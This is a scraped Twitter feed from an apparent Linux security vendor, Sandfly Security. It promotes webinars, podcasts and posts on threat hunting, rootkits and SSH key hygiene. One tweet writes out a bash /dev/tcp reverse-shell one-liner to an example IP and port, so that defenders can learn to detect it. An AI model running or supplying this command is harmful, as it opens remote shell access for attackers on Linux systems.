Agentless Linux security. We post threat hunting, DFIR and hardening for people running Linux in production. No agents, no kernel modules.
Christchurch, New Zealand
- Tweets 757
- Following 55
- Followers 2,996
- Likes 521
Patching the new PHP flaws (CVE-2026-109618/109619) won't remove a backdoor planted before the patch. Sandfly isn't affected. Here are the 8 detections to check, including one that's off by default: ap1.hubs.ly/H01sky20
2
9
1,348
One week to go: How to know when a Linux detection is worth acting on.🕵️
Tue 27 Oct, 11am PT / 2pm ET / 6pm GMT. Four questions, a checklist you keep, and a first look at what we've been building. Join us live ▶️ ap1.hubs.ly/H01qfM90
3
164
The Scales rootkit landed via an AUR supply chain attack with 1,500+ packages affected.
The blast radius isn't the interesting part. The technique is.
ap1.hubs.ly/H01k8Xl0
#Linux #ThreatHunting
2
5
328
Fixed the same false positive three times this month? 😣
That's a failed check. It's question 4 on our list, and plenty of tools don't pass it.
Get the full checklist on Tue 27 Oct. Join us live ▶️ ap1.hubs.ly/H01qfMF0
3
585
Locked Shields is the world's largest live-fire cyber defence exercise. Real red team, real time pressure.
One of our clients ran Sandfly on the Linux defence team, hunting implants while under active attack.
ap1.hubs.ly/H01k9gz0
#ThreatHunting #Linux
1
9
465
Question 1 of 4: Where did your detection's data actually come from?
Most teams can't answer that, and it matters more than anything else on the list.
Find out why on Tue 27 Oct. Register to join us live ▶️ ap1.hubs.ly/H01qfB30
4
814
A Linux process running with an immutable binary is almost never legitimate.
Attackers set the immutable flag so you can't delete their payload mid-incident. It’s a huge red flag that a system is compromised.
ap1.hubs.ly/H01kJD10
#Linux #eBPF
2
4
13
472
A global automotive manufacturer runs its assembly lines and AGVs on Linux. Downtime costs thousands a minute.
Agent-based tools kept causing problems on exactly those systems. So they stopped using them.
ap1.hubs.ly/H01qdR-0
#ThreatHunting #Linux
1
6
1,121
Most Linux alerts aren't worth your time. A few are worth everything 👀
The hard part is telling which is which.
On Tue 27 Oct, Sandfly founder Craig Rowland shares 4 questions to ask before you act on any detection. Free.
ap1.hubs.ly/H01qdRl0
6
935
Attackers are encrypting payloads to sneak malware past Linux defenses. Spoiler: it doesn't work.Sandfly Founder, @CraigHRowland breaks down the Linux malware trends we're seeing on @DestLinuxPod 👇
In this episode I go over some emerging Linux malware trends we saw resurface around memfd fileless loading. The twist is it uses an encrypted payload to try to evade detection (no, it doesn't evade). Also I go over other trends we're seeing in Linux malware.
3
13
1,725
In this episode we discuss some emerging Linux malware trends we're seeing in the wild leveraging fileless encrypted payloads.
A new #DestinationLinux!
😂💖🐧🐧🐧
piped.video/LkWJ_yvhKwo
Cold Incident Response Conference,
OpenRGB Adds Support for New Hardware,
Peppermint OS Moving to XLibre,
Ubuntu 26.10 update,
MX Linux DDoS Attack
#Linux #podcast
Thank you @SandflySecurity!
sandflysecurity.com?utm_sour…...
2
9
476
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
One line. Works nearly everywhere on Linux. A quick and easy living off the land backdoor that works across all Linux distros.
Here's how to spot it — and how to watch attackers using it live with peekfd: ap1.hubs.ly/H01mt3h0
4
33
5,702
A pile of small scripts we use for Linux IR work. Free, open source, no email gate.
If they save you an hour, that's the point.
ap1.hubs.ly/H01mt430
1
5
22
720
Access problems on Linux hosts that passed an audit are extremely common.
Keys that outlived the people who created them. Password authentication that is still active on hosts nobody claimed. Both invisible to the review that signed the system off.
Keys to the Vault, free with the questions:
ap1.hubs.ly/H01mPsG0
1
5
275
Linux EDR inherited its model from Windows: kernel agent on every endpoint.
We've measured those agents at 5% to over 30% CPU, constantly. At fleet scale that's a line item.
Agentless: zero when idle, 60–120s burst when it runs.
ap1.hubs.ly/H01mt400
1
10
1,232
Linux runs the infrastructure. But who's watching it? 👀
Our founder @CraigHRowland is breaking down current Linux malware tactics and how to hunt them at the Oslo Cold Incident Response Conference. Grab your free ticket below 👇
I'm speaking at the Oslo Cold Incident Response Conference in a couple weeks. Tickets are free! Register below. My talk will be on Linux malware trends, tactics, and hunting tips. Stop by and say hello.
coldincidentresponse.no/
1
11
679
"Password authentication is disabled."
Everywhere? On the hosts built before that standard existed? On the one that got rebuilt at 2am during an incident? The embedded devices with factory defaults?
How do you know, rather than how do you assume?
1
3
1,604
That's question 6 of 10. The rest are here: insights.sandflysecurity.com…
4
128
The riskiest SSH keys are the ones that belong to nobody.
The CI runner. The backup job. A migration script from 2021 that someone set up in an afternoon and never turned off.
Each one is still valid. Each one is still trusted.
Question 3 of 10: how many of your keys belong to automation, and who owns each one now?
1
6
1,386
All ten questions, free: insights.sandflysecurity.com…
2
108